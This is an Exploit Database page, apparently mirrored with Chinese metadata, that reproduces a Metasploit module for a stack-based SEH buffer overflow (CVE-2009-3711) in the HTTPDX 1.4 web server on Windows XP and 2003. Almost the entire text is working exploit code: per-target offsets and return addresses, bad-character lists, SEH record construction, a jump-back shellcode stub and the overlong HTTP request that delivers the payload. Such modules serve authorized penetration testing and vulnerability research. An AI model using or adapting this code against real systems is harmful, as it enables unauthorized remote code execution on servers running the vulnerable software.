httpdx – ‘h_handlepeer()’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-07-26
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16799/

• ##
  # $Id: httpdx_handlepeer.rb 9934 2010-07-26 23:22:42Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  ##
  # httpdx_handlepeer.rb
  #
  # HTTPDX 'h_handlepeer()' Function Buffer Overflow exploit for the Metasploit Framework
  #
  # Tested successfully on the following platforms
  #- HTTPDX 1.4 on Microsoft Windows XP SP3
  #
  # This vulnerability was found by Pankaj Kohli, see references.
  #
  # Trancer
  # http://www.rec-sec.com
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	HttpFingerprint = { :pattern => [ /httpdx\/.* \(Win32\)/ ] }
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'HTTPDX h_handlepeer() Function Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The
  				vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp.
  				By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.
  			},
  			'Author' =>
  				[
  					'Pankaj Kohli <pankaj208[at]gmail.com>',	# Original exploit [see References]
  					'Trancer <mtrancer[at]gmail.com>',			# Metasploit implementation
  					'jduck'
  				],
  			'Version'=> '$Revision: 9934 $',
  			'References' =>
  				[
  					[ 'OSVDB', '58714' ],
  					[ 'CVE', '2009-3711' ],
  					[ 'URL', 'http://www.pank4j.com/exploits/httpdxb0f.php' ],
  					[ 'URL', 'http://www.rec-sec.com/2009/10/16/httpdx-buffer-overflow-exploit/' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process'
  				},
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 472,
  					# other characters get mangled, but only in a temporary buffer
  					'BadChars' => "\x00\x0a\x0d\x20\x25\x2e\x2f\x3f\x5c",
  					'StackAdjustment' => -3500,
  					# 'DisableNops'	=>'True'
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[	'httpdx 1.4 - Windows XP SP3 English',
  						{
  							'Offset' 	=> 476,
  							'Ret' 		=> 0x63b81a07,# seh handler (pop/pop/ret in n.dll)
  							'Readable' 	=> 0x63b80131 	 # early in n.dll
  						}
  					],
  					[	'httpdx 1.4 - Windows 2003 SP2 English',
  						{
  							'Offset' 	=> 472,
  							'Ret' 		=> 0x63b81a07,# seh handler (pop/pop/ret in n.dll)
  							'Readable' 	=> 0x63b80131 	 # early in n.dll
  						}
  					]
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Oct 08 2009'
  		))
  	end
  
  	def check
  		info = http_fingerprint# check method
  		if info and (info =~ /httpdx\/(.*) \(Win32\)/)
  			return Exploit::CheckCode::Vulnerable
  		end
  		Exploit::CheckCode::Safe
  	end
  
  
  	def exploit
  		uri = payload.encoded
  		if target['Offset'] > payload_space
  			pad = target['Offset'] - payload_space
  			uri << rand_text(pad)
  		end
  		uri << generate_seh_record(target.ret)
  		# jmp back to shellcode
  		uri << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + (target['Offset'] + 5).to_s).encode_string
  		# extra causing hitting end of the stack
  		uri << rand_text_alphanumeric(1024)
  
  		uri[620,4] = [target['Readable']].pack('V') # arg (must be readable)
  
  		sploit = '/' + rand_text(3) + '=' + uri
  
  		# an empty host header gives us 512 bytes in the client structure
  		# (the client->filereq and client->host buffers are adjacement in memory)
  		datastore['VHOST'] = ''
  
  		print_status("Trying target #{target.name}...")
  		res = send_request_raw(
  			{
  				'uri'=> sploit
  			}, 5)
  
  		handler
  	end
  
  end